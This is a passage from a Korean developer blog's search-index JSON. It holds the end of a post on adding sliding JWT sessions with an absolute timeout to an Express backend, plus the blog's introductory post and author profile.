jwt.verify(token, process.env.JWT_ACCESS_SECRET, { algorithms: [\u0026#39;HS256\u0026#39;], clockTolerance: 5, }); // 최초 세션 시작 시점 확인 const sess = typeof payload.sess === \u0026#39;number\u0026#39; ? payload.sess : (payload.iat ? payload.iat * 1000 : Date.now()); const now = Date.now(); const ABSOLUTE_MAX_MS = getExpiresInMs(); // Absolute Timeout 검증 // 활동 여부와 관계없이 최초 로그인 후 설정된 시간이 지났다면 강제 로그아웃 if (now - sess \u0026gt; ABSOLUTE_MAX_MS) { return res.status(401).json({ message: \u0026#39;Session expired (Absolute timeout)\u0026#39; }); } // Sliding Session - 새 토큰 발급 // 검증을 통과했다면 기존 sess(시작점)는 유지한 채, 만료 시간만 갱신된 새 토큰을 생성 const newAccess = signAccessToken( { sub: payload.sub, username: payload.username, is_admin: payload.is_admin }, sess ); // 클라이언트에 갱신된 토큰 전달 res.setHeader(\u0026#39;X-New-Token\u0026#39;, newAccess); res.setHeader(\u0026#39;Access-Control-Expose-Headers\u0026#39;, \u0026#39;X-New-Token\u0026#39;); if (res.cookie) { res.cookie(\u0026#39;access_token\u0026#39;, newAccess, cookieOpts()); } req.user = { sub: payload.sub, username: payload.username, is_admin: !!payload.is_admin }; return next(); } catch (e) { return res.status(401).json({ message: \u0026#39;Invalid or expired token\u0026#39; }); } } 5. 결과 및 기대 효과 이번 리팩토링을 통해 슬라이딩 세션이란 무엇인지 알게 되었으며, 프로젝트에서 기술적 개선을 이루었습니다.\n무한 연장을 허용하지 않는 Absolute Timeout을 통해, 세션 탈취 리스크를 관리하면서도 사용자 편의성을 극대화 하였으며, 중요한 데이터를 입력하거나 실시간 모니터링을 수행하는 도중에 세션이 만료되어 작업 내용이 날아가는 불상사를 차단했습니다.\n6. 마치며.. \u0026ldquo;처음에는 단순히 \u0026lsquo;기능이 동작하는 것\u0026rsquo;에만 집중했습니다. 하지만 개발자가 아닌 사용자의 입장에서 깊게 고민해 보니, 고정된 1시간이라는 벽은 시스템의 편의일 뿐 사용자에게는 보이지 않는 장애물이었습니다. 현업의 방식을 탐구하고 인증 메커니즘의 본질을 파고들며 도입한 \u0026lsquo;슬라이딩 세션\u0026rsquo;은, 기술적 해결을 넘어 사용자 경험을 최우선으로 생각하는 개발자로 한 단계 성장하는 소중한 계기가 되었습니다.\u0026rdquo;\n","permalink":"https://bonggyunjo.github.io/posts/sliding-session-jwt/","summary":"작업 중 갑작스러운 로그아웃은 사용자에게 치명적인 경험을 선사합니다. HI-REMS 프로젝트에서 Fixed Timeout의 문제를 진단하고, 슬라이딩 세션과 Absolute Timeout을 결합해 UX와 보안을 동시에 잡은 리팩토링 과정을 상세히 기록합니다.","title":"고정 토큰 만료에 대해 슬라이딩 세션(Sliding Session) 도입기"},{"content":"🚀 새로운 기록의 공간을 열며 안녕하세요, 개발자 조봉균입니다. 그동안 Velog를 통해 공유해왔던 파편화된 기록들을 정리하고, 저만의 색깔이 담긴 기술 아카이브를 구축하기 위해 이 블로그를 시작하게 되었습니다.\n단순히 \u0026ldquo;코드를 짰다\u0026quot;는 사실보다, **\u0026ldquo;어떤 문제를 만났고, 어떻게 고민하여 해결했는가\u0026rdquo;**에 집중하는 공간으로 채워보려 합니다.\n🛠 앞으로 이곳에 기록할 것들 이 블로그의 메인 메뉴인 Troubleshooting 탭에는 다음과 같은 내용들이 우선적으로 담길 예정입니다.\n1. 트러블슈팅 리포트 (Troubleshooting) 개발 과정에서 마주치는 수많은 에러 메시지와 예외 상황들은 저를 가장 당혹스럽게 만들기도 하지만, 동시에 가장 큰 성장을 가져다줍니다.\n원인 분석 (Root Cause Analysis) 시도했던 여러 해결 방안들 최종 해결책과 그 이유 이 세 단계를 거친 밀도 높은 리포트를 기록할 것입니다. 2. 성능 최적화와 아키텍처 고민 단순히 기능이 동작하는 것을 넘어, **\u0026lsquo;더 효율적일 수는 없을까?\u0026rsquo;**에 대한 고민을 담습니다. DB 인덱스 최적화, 백엔드 로직 개선 등 시스템의 성능을 끌어올리기 위해 시도했던 과정들을 공유하겠습니다.\n3. 엔지니어링 일지 (Engineering Log) 새로운 기술 스택을 학습하며 느꼈던 인사이트나, 프로젝트의 기술적 의사결정 과정을 기록합니다. 정답을 제시하기보다, 당시의 제가 내렸던 최선의 선택과 그 근거를 남기는 데 집중하겠습니다.\n🎯 마치며: \u0026ldquo;기록이 쌓이면 실력이 된다\u0026rdquo; 공부한 내용을 머릿속에만 두지 않고 글로 정리하는 과정은 생각보다 고통스럽습니다. 하지만 그 고통의 과정을 거쳐야만 지식은 온전히 제 것이 된다고 믿습니다.\n오늘 마주한 삽질의 기록이 내일의 저에게는 이정표가 되고, 이 글을 읽는 동료들에게는 명확한 해결책이 되길 바랍니다.\n자, 이제 본격적으로 해결의 기록을 시작해 보겠습니다!\n","permalink":"https://bonggyunjo.github.io/posts/first-post/","summary":"왜 수많은 플랫폼을 뒤로하고 개인 블로그를 시작했는지, 그리고 앞으로 이곳에 어떤 트러블슈팅의 기록들을 쌓아갈 것인지에 대한 다짐을 적어봅니다.","title":"기록의 시작: 문제를 해결하며 성장하는 과정을 담다"},{"content":"\u0026ldquo;만들고, 해결하고, 기록합니다.\u0026rdquo; 안녕하세요, 멋진 수식어보다 **\u0026lsquo;어제보다 나은 해결책\u0026rsquo;**을 찾는 과정에서 즐거움을 느끼는 개발자, 조봉균입니다. 단순히 동작하는 코드를 넘어, 시스템의 지속 가능성과 기술적 깊이를 고민하는 기록을 지향합니다.\n기술적 가치관과 철학 1. 본질을 꿰뚫는 \u0026ldquo;왜?\u0026ldquo;에 집중합니다. \u0026ldquo;어제 마주한 에러는 시스템이 저에게 보내는 가장 친절한 힌트입니다.\u0026rdquo;\n단순히 검색 결과를 복사하여 붙여넣는 임시방편은 제 스타일이 아닙니다. \u0026ldquo;왜 이 오류가 발생했는가?\u0026rdquo;, \u0026ldquo;이 인덱스 설계가 최적의 비용인가?\u0026ldquo;를 집요하게 분석합니다. 때로는 해결에 더 많은 시간이 소요되기도 하지만, 그 과정에서 얻은 인사이트만이 진정한 **\u0026lsquo;기술적 자산\u0026rsquo;**이 된다고 확신합니다.\n2. 기록을 통해 동료의 시간을 단축합니다. 제가 겪은 시행착오는 단순한 실패가 아니라, 누군가에게는 명확한 이정표가 될 수 있습니다. 2시간의 삽질을 5분의 독서로 해결할 수 있도록, 트러블슈팅의 전 과정을 가감 없이 기록합니다. 이 블로그의 포스트들은 저를 위한 복습이자, 저와 같은 고민을 마주할 동료들을 위한 실전 가이드입니다.\n왜 GitHub.io인가? (직접 구축하는 즐거움) 편리한 플랫폼을 뒤로하고 GitHub.io를 직접 구축한 이유는 기술적 제어권 때문입니다.\n인프라 관리: Hugo를 활용한 정적 사이트 구축부터 GitHub Actions를 통한 배포 자동화 파이프라인 설계까지 직접 관리합니다. 커스터마이징: 블로그 운영 자체를 하나의 소프트웨어 프로젝트로 간주하며, UI/UX와 폰트 하나까지 엔지니어링 마인드로 개선합니다. 정체성 아카이빙: 플랫폼의 틀에 갇히지 않고 저만의 독자적인 기술 브랜드 정체성을 온전히 담아내기 위한 선택이었습니다. 기록의 지향점 이곳은 완벽한 정답지가 아닌, 치열했던 고민의 흔적을 담는 공간입니다.\n트러블슈팅 가이드: 실무에서 마주한 난제들을 논리적으로 해결해 나가는 과정을 기록합니다. 성장의 기록: 시간이 흐른 뒤 제 성장의 궤적을 확인하며, 초심을 잃지 않는 이정표로 삼습니다. 동료와의 연결: 제 기록이 누군가에게 실질적인 해결책이 되어, 건강한 개발 생태계에 기여하는 선순환을 꿈꿉니다. GitHub: github.com/bonggyunjo Velog: 이전 기술 아카이브(Velog) Email: kjbg4565388@gmail.com ","permalink":"https://bonggyunjo.github.io/about/","summary":"\u003ch2 id=\"만들고-해결하고-기록합니다\"\u003e\u0026ldquo;만들고, 해결하고, 기록합니다.\u0026rdquo;\u003c/h2\u003e\n\u003cp\u003e안녕하세요, 멋진 수식어보다 **\u0026lsquo;어제보다 나은 해결책\u0026rsquo;**을 찾는 과정에서 즐거움을 느끼는 개발자, \u003cstrong\u003e조봉균\u003c/strong\u003e입니다.\n단순히 동작하는 코드를 넘어, 시스템의 지속 가능성과 기술적 깊이를 고민하는 기록을 지향합니다.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"기술적-가치관과-철학\"\u003e기술적 가치관과 철학\u003c/h2\u003e\n\u003ch3 id=\"1-본질을-꿰뚫는-왜에-집중합니다\"\u003e1. 본질을 꿰뚫는 \u0026ldquo;왜?\u0026ldquo;에 집중합니다.\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u0026ldquo;어제 마주한 에러는 시스템이 저에게 보내는 가장 친절한 힌트입니다.\u0026rdquo;\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e단순히 검색 결과를 복사하여 붙여넣는 임시방편은 제 스타일이 아닙니다. \u0026ldquo;왜 이 오류가 발생했는가?\u0026rdquo;, \u0026ldquo;이 인덱스 설계가 최적의 비용인가?\u0026ldquo;를 집요하게 분석합니다. 때로는 해결에 더 많은 시간이 소요되기도 하지만, 그 과정에서 얻은 인사이트만이 진정한 **\u0026lsquo;기술적 자산\u0026rsquo;**이 된다고 확신합니다.\u003c/p\u003e","title":"소개"}]